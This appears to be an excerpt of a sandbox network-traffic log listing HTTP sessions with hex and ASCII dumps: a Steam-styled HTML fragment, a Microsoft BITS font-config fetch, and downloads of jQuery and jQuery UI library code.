showAuthWin" href="#">Discussions</a> <a class="submenuitem showAuthWin" href="#">Workshop</a> <a class="submenuitem showAuthWin" href="#">Market</a> <a class="submenuitem show
2024-09-29 00:41:37 UTC	1369	IN	Data Raw: 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 52 65 66 75 6e 64 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: t="_blank" class="showAuthWin">Steam Subscriber Agreement</a>  \|  <a href="#" target="_blank" class="showAuthWin">Refunds</a> </span> </div> </div> </div> </div> <div cl

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 00:41:37 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=144235 Date: Sun, 29 Sep 2024 00:41:37 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-29 00:41:37 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:38 UTC	520	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:41:38 UTC	928	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:41:38 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1302608 Expires: Fri, 19 Sep 2025 00:41:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gEGEfJkbqyrIMut2XXShRE1XSNW3tBzTdwi3rw5jJTYiLkiezXlE4nrG5htZbC6Wcl%2BhXQ8%2F1TQX1jmJi0vgzGBxj1g1f3q24MlR941i8HQDnhaTj99yCAWJajSfq6vGiJDk2L0Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca7edbe4a994396-EWR
2024-09-29 00:41:38 UTC	441	IN	Data Raw: 37 62 66 65 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bfe/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 30 2c 6e 6f 6e 63 65 3a 21 30 2c 6e 6f 4d 6f 64 75 6c 65 3a 21 30 7d Data Ascii: .concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0}
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 2c 61 3d Data Ascii: shStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 2c 61 3d 5b 5d 3b 69 66 28 64 28 65 29 29 66 6f 72 28 72 3d 65 2e 6c Data Ascii: n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(r=e.l
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 49 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 Data Ascii: ("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new R
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 21 3d 3d 70 26 26 39 21 3d 3d 70 26 26 31 31 21 3d 3d 70 29 72 65 74 Data Ascii: pply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1!==p&&9!==p&&11!==p)ret
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 65 3f 31 3a 2d 31 Data Ascii: (t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 64 2e 67 65 74 42 79 49 64 3d 63 65 28 66 Data Ascii: unction(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(f
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 63 74 3e Data Ascii: of t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></select>
2024-09-29 00:41:38 UTC	1369	IN	Data Raw: 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e 63 6f 6d 70 61 Data Ascii: w RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compa

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:38 UTC	501	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:41:38 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1968012 Date: Sun, 29 Sep 2024 00:41:38 GMT X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740052-EWR X-Cache: HIT, HIT X-Cache-Hits: 6463, 0 X-Timer: S1727570498.317633,VS0,VE13 Vary: Accept-Encoding
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 67 65 74 43 72 65 61 74 65 4f 70 74 69 6f 6e 73 28 29 2c 0a 09 09 09 6f 70 74 69 6f 6e 73 20 29 3b 0a 0a 09 09 74 68 69 73 2e 5f 63 72 65 61 74 65 28 29 3b 0a 09 09 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 20 22 63 72 65 61 74 65 22 2c 20 6e 75 6c 6c 2c 20 74 68 69 73 2e 5f 67 65 74 43 72 65 61 74 65 45 76 65 6e 74 44 61 74 61 28 29 20 29 3b 0a 09 09 74 68 69 73 2e 5f 69 6e 69 74 28 29 3b 0a 09 7d 2c 0a 09 5f 67 65 74 43 72 65 61 74 65 4f 70 74 69 6f 6e 73 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 67 65 74 43 72 65 61 74 65 45 76 65 6e 74 44 61 74 61 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 63 72 65 61 74 65 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 69 6e 69 74 3a 20 24 2e 6e 6f 6f 70 2c 0a 0a 09 64 65 73 74 72 6f 79 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 74 Data Ascii: getCreateOptions(),options );this._create();this._trigger( "create", null, this._getCreateEventData() );this._init();},_getCreateOptions: $.noop,_getCreateEventData: $.noop,_create: $.noop,_init: $.noop,destroy: function() {t
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 24 2e 70 6f 73 69 74 69 6f 6e 2e 67 65 74 53 63 72 6f 6c 6c 49 6e 66 6f 28 20 77 69 74 68 69 6e 20 29 2c 0a 09 09 63 6f 6c 6c 69 73 69 6f 6e 20 3d 20 28 20 6f 70 74 69 6f 6e 73 2e 63 6f 6c 6c 69 73 69 6f 6e 20 7c 7c 20 22 66 6c 69 70 22 20 29 2e 73 70 6c 69 74 28 20 22 20 22 20 29 2c 0a 09 09 6f 66 66 73 65 74 73 20 3d 20 7b 7d 3b 0a 0a 09 64 69 6d 65 6e 73 69 6f 6e 73 20 3d 20 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 20 74 61 72 67 65 74 20 29 3b 0a 09 69 66 20 28 20 74 61 72 67 65 74 5b 30 5d 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 20 29 20 7b 0a 09 09 2f 2f 20 66 6f 72 63 65 20 6c 65 66 74 20 74 6f 70 20 74 6f 20 61 6c 6c 6f 77 20 66 6c 69 70 70 69 6e 67 0a 09 09 6f 70 74 69 6f 6e 73 2e 61 74 20 3d 20 22 6c 65 66 74 20 74 6f 70 22 3b 0a 09 7d 0a Data Ascii: $.position.getScrollInfo( within ),collision = ( options.collision \|\| "flip" ).split( " " ),offsets = {};dimensions = getDimensions( target );if ( target[0].preventDefault ) {// force left top to allow flippingoptions.at = "left top";}
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 64 65 72 73 2e 69 6e 64 65 78 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 2c 0a 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 09 73 77 69 74 63 68 20 28 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 29 20 7b 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 52 49 47 48 54 3a 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 44 4f 57 4e 3a 0a 09 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 74 68 69 73 2e 68 65 61 64 65 72 73 5b 20 28 20 63 75 72 72 65 6e 74 49 6e 64 65 78 20 2b 20 31 20 29 20 25 20 6c 65 6e 67 74 68 20 5d 3b 0a 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 4c 45 46 54 3a 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 55 50 3a 0a 09 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 74 68 69 73 Data Ascii: ders.index( event.target ),toFocus = false;switch ( event.keyCode ) {case keyCode.RIGHT:case keyCode.DOWN:toFocus = this.headers[ ( currentIndex + 1 ) % length ];break;case keyCode.LEFT:case keyCode.UP:toFocus = this
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 4d 65 6e 75 49 74 65 6d 73 28 20 63 68 61 72 61 63 74 65 72 20 29 3b 0a 09 09 09 6d 61 74 63 68 20 3d 20 73 6b 69 70 20 26 26 20 6d 61 74 63 68 2e 69 6e 64 65 78 28 20 74 68 69 73 2e 61 63 74 69 76 65 2e 6e 65 78 74 28 29 20 29 20 21 3d 3d 20 2d 31 20 3f 0a 09 09 09 09 74 68 69 73 2e 61 63 74 69 76 65 2e 6e 65 78 74 41 6c 6c 28 20 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 20 29 20 3a 0a 09 09 09 09 6d 61 74 63 68 3b 0a 0a 09 09 09 2f 2f 20 49 66 20 6e 6f 20 6d 61 74 63 68 65 73 20 6f 6e 20 74 68 65 20 63 75 72 72 65 6e 74 20 66 69 6c 74 65 72 2c 20 72 65 73 65 74 20 74 6f 20 74 68 65 20 6c 61 73 74 20 63 68 61 72 61 63 74 65 72 20 70 72 65 73 73 65 64 0a 09 09 09 2f 2f 20 74 6f 20 6d 6f 76 65 20 64 6f 77 6e 20 74 68 65 20 6d 65 6e 75 20 74 6f 20 74 68 Data Ascii: MenuItems( character );match = skip && match.index( this.active.next() ) !== -1 ?this.active.nextAll( ".ui-menu-item" ) :match;// If no matches on the current filter, reset to the last character pressed// to move down the menu to th
